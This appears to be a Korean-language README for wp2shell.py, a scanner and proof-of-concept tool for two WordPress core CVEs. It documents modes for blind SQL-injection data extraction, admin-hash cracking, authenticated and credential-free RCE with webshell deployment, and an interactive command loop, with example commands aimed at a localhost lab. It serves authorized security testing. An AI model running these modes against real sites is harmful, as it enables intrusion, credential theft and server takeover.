
CVE-2026-63030, CVE-2026-60137, wp2shell 스캐너
WordPress 코어의 wp2shell(CVE-2026-63030 / CVE-2026-60137) 노출에 대한 탐지 및 검증 도구입니다. 모드는 플래그로 선택하며, 대상은 위치 인자(positional)로 지정합니다. --scan은 익스플로잇 페이로드를 전송하지 않고 코어 버전을 핑거프린팅하고 REST /batch/v1 라우트에 접근 가능한지 확인합니다. --check/--read/--shell/--rce/--root-prereq 모드는 승인된 랩 환경 사용을 위한 검증 PoC입니다.
wp2shell.py는 표준 라이브러리만 사용하는 단일 스크립트입니다 — 외부 의존성이 없습니다. 모든 실행은 시작 전에 ZephrSec 배너를 stderr로 출력합니다(stdout에는 출력되지 않으므로 --scan -j JSON 출력에는 영향을 주지 않습니다).
정확히 하나의 모드 플래그가 필요하며, 대상은 위치 인자입니다(모든 모드에서 URL, 에서는 호스트 목록).
--scanwp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
| 플래그 | 기능 |
|---|---|
--scan | 비파괴적 노출 확인: 버전 핑거프린트 + REST /batch/v1 라우트 접근 가능 여부 확인. 익스플로잇 페이로드를 전송하지 않습니다. |
--check | 무해한 차등 프로브(differential probe)로 블라인드 시간 기반 SQLi를 확인합니다. |
--read | 블라인드 SQLi를 통해 데이터를 추출합니다(프리셋 또는 원시 SQL 스칼라 표현식). |
--shell | 크랙/복구된 관리자 비밀번호를 사용하는 인증된 RCE 체인입니다. |
--rce | 자격 증명 없는 사전 인증(pre-auth) RCE: SQLi를 통해 자체적으로 관리자를 위조한 후 자체 정리(self-cleaning) 웹셸을 배포합니다. |
--root-prereq | 무해한 셸-투-루트 사전 조건 검사입니다. 진단만 실행하며 로컬 권한 상승은 절대 수행하지 않습니다. |
| 플래그 | 적용 모드 | 기능 |
|---|---|---|
-f, --file | --scan | 파일에서 호스트를 읽습니다(줄당 하나, # 주석은 건너뜀). |
-j, --json | --scan | 결과를 JSON으로 stdout에 출력합니다. |
-t, --threads | --scan | 스캔 동시성 (기본값 10). |
--prefix | --check/--read | DB 테이블 접두사 (기본값 wp_). |
--delay | --check/--read | 타이밍 오라클에 주입할 SLEEP 초 (기본값 0.15). |
--repeats | --check/--read | 비트당 N회 프로브의 중앙값; 노이즈가 많은 링크에서 높이세요 (기본값 1). |
--preset | --read | 내장 대상: version, database, db_user, users, siteurl (기본값 users). |
--expr | --read | 추출할 원시 SQL 스칼라 표현식 (--preset를 재정의함). |
--max-len | --read | 추출할 문자열의 최대 길이 (기본값 128). |
--user | --shell/--root-prereq | 로그인할 관리자 사용자 이름 (기본값 admin). |
--password | --shell/--root-prereq | 평문 관리자 비밀번호 (--read로 해시를 크랙하세요. 이 모드에 필수). |
--cmd | --shell/--rce | 대상에서 실행할 명령 (기본값 id). |
심층 분석 블로그 게시물: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
단일 호스트, 다중 호스트 또는 파일로 실행할 수 있습니다.
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
옵션: -f/--file 호스트 파일(줄당 하나), -j/--json JSON 출력, -t/--threads 동시성 (기본값 10).
--check/--read/--shell/--rce/--root-prereq 모드는 실제 익스플로잇 페이로드를 전송합니다. 번들로 제공되는 localhost 랩 또는 소유하고 있고 명시적으로 테스트 승인을 받은 시스템에서만 실행하세요. --shell과 --rce는 원격 코드 실행을 수행하며 랩/승인된 대상 전용입니다. 루프백이 아닌 호스트의 --rce에는 --authorized가 필요합니다. --root-prereq는 동일한 토큰 게이트 방식의 진단 플러그인을 사용하여 셸-투-루트 사전 조건을 확인하지만 로컬 권한 상승은 실행하지 않습니다.
--shell은 복구/크랙된 관리자 비밀번호가 필요합니다. --rce는 자격 증명 없는 사전 인증 체인입니다. SQLi(oEmbed → changeset → 재진입형 parse_request)를 통해 자체적으로 관리자를 위조한 후 웹셸을 배포합니다 — 비밀번호가 필요 없습니다.
--shell, --rce, --root-prereq는 코드 실행 페이로드가 전송되기 전에 대화형 y/N 승인을 요청합니다(비대화형/EOF stdin에서는 중단됨). 랩 또는 승인된 대상에 대한 자동화에서는 -y/--yes를 전달하여 프롬프트를 건너뛸 수 있습니다.
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
PoC의 근거가 되는 패치 diff는 poc/diffs/에 저장되어 있으며, 연구 노트는 poc/RESEARCH.md에 있습니다. SQLi는 author__not_in 수정에서 완전히 재구성할 수 있습니다. 자격 증명 없는 --rce 체인(oEmbed → changeset → 재진입 → 관리자 생성)은 번들 랩에서 기본 설정 RCE를 재현하며, --shell은 복구/크랙된 관리자 자격 증명을 통한 인증된 플러그인 업로드 및 명령 실행의 대체 경로입니다.
-i, --interactive | --shell/--rce | 단일 명령 대신 대화형 웹 명령 루프를 실행합니다. |
--no-cleanup | --shell/--rce | 드롭된 플러그인/웹셸을 제거하지 않고 남겨둡니다 (랩 전용). |
-y, --yes | --shell/--rce/--root-prereq | 대화형 승인 프롬프트를 건너뜁니다 (자동화용). |
--sleep | --rce | 사전 인증 SQLi 탐지를 위해 주입할 SLEEP 초 (기본값 4). |
--rounds | --rce | --rce 탐지를 위한 N회 프로브의 중앙값 (기본값 3). |
--route | --rce | 배치 라우트 형식: auto, rest-route, wp-json (기본값 auto). |
--proxy | --rce | HTTP 프록시를 통해 요청을 라우팅합니다 (예: http://127.0.0.1:8080의 Burp). |
--authorized | --rce | 루프백이 아닌 --rce 대상에 대한 승인을 명시합니다 (원격 호스트에 필수). |
--timeout | 전체 | 요청당 제한 시간(초) (기본값 15). |